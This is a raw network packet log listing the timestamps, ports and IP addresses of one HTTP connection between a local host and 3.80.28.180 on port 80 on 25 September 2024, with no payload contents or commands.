Sep 25, 2024 03:51:28.523103952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.523103952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.523111105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523128033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523143053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.523147106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523164988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523180962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523196936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523216009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.523228884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.523228884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.523271084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.548198938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.548233986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.548255920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.548274040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.548306942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.548306942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.548326969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.548345089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.548362017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.548425913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.548425913 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.604726076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.604759932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.604777098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.604793072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.604813099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.604813099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.604830980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.604852915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.604897976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.604913950 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.604914904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.604932070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.604957104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.604989052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605030060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605046034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605182886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605197906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605214119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605236053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605252981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605257034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605257034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605276108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605336905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605360031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605406046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605489016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605504990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605521917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605537891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605559111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605572939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605576038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605583906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605663061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605827093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605844021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605860949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605878115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605894089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605910063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605921984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605921984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.605927944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.605946064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.606040955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.606040955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.606101990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.606118917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.606134892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.606164932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.608755112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.608772039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.608788967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.608827114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.608853102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.608860970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.608870029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.608887911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.608911991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.608949900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.608949900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609009981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609025955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609102964 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609142065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609157085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609175920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609184980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609200001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609246016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609273911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609297037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609312057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609328985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609347105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609361887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609370947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609396935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609479904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609505892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609580994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609596014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609611034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609626055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609633923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609644890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609674931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609692097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609865904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609884024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609899044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609914064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609930992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609946966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609962940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609978914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.609982014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.609982014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610008955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610038996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610183954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610198975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610214949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610229969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610244989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610264063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610282898 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610487938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610502958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610521078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610539913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610548019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610563993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610575914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610580921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610599041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610603094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610615969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610635042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610668898 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610682011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610780001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610795975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610812902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610829115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610836983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610846043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610863924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610881090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.610901117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.610901117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.611134052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611160994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611175060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611191034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611207008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611210108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.611210108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.611223936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611239910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611255884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611273050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611284018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.611284018 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.611289024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611306906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611325979 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.611331940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611347914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611355066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.611363888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611382008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611406088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.611409903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611428976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.611443996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.611556053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.611653090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.639651060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.639684916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.639699936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.639746904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.639746904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.639765978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.639782906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.639800072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.639816999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.639889002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.639889002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.639904976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.686707973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.695779085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.695811987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.695828915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.695930004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.695945024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.695950985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.695965052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.695985079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696115971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696160078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696176052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696192026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696207047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696223021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696239948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696242094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696242094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696285009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696382046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696399927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696417093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696434021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696439028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696451902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696471930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696476936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696528912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696597099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696706057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696722031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696737051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696753025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696768999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696783066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696784019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696784019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696804047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696821928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.696824074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.696871996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.697062016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.697077990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.697094917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.697113037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.697140932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.697140932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.697212934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.697230101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.697249889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.697266102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.697267056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.697283983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.697323084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.697323084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.699945927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.699976921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.699990988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700017929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700018883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700037956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700057030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700071096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700124025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700133085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700153112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700170040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700202942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700303078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700316906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700334072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700347900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700361967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700368881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700408936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700408936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700423002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700438976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700489998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700495005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700506926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700524092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700541019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700556993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700561047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700608969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700629950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700684071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700737000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700753927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700769901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700787067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700803995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700819016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700822115 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700822115 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700836897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700973988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.700987101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.700992107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701008081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701117992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701143980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701158047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701173067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701174021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701190948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701208115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701209068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701226950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701244116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701256990 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701261997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701277018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701293945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701306105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701306105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701351881 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701423883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701534986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701550007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701567888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701585054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701589108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701602936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701613903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701663971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701711893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701728106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701742887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701766014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701781988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701797962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701803923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701803923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.701816082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.701936007 CEST	49730	80	192.168.2.4	3.80.28.180
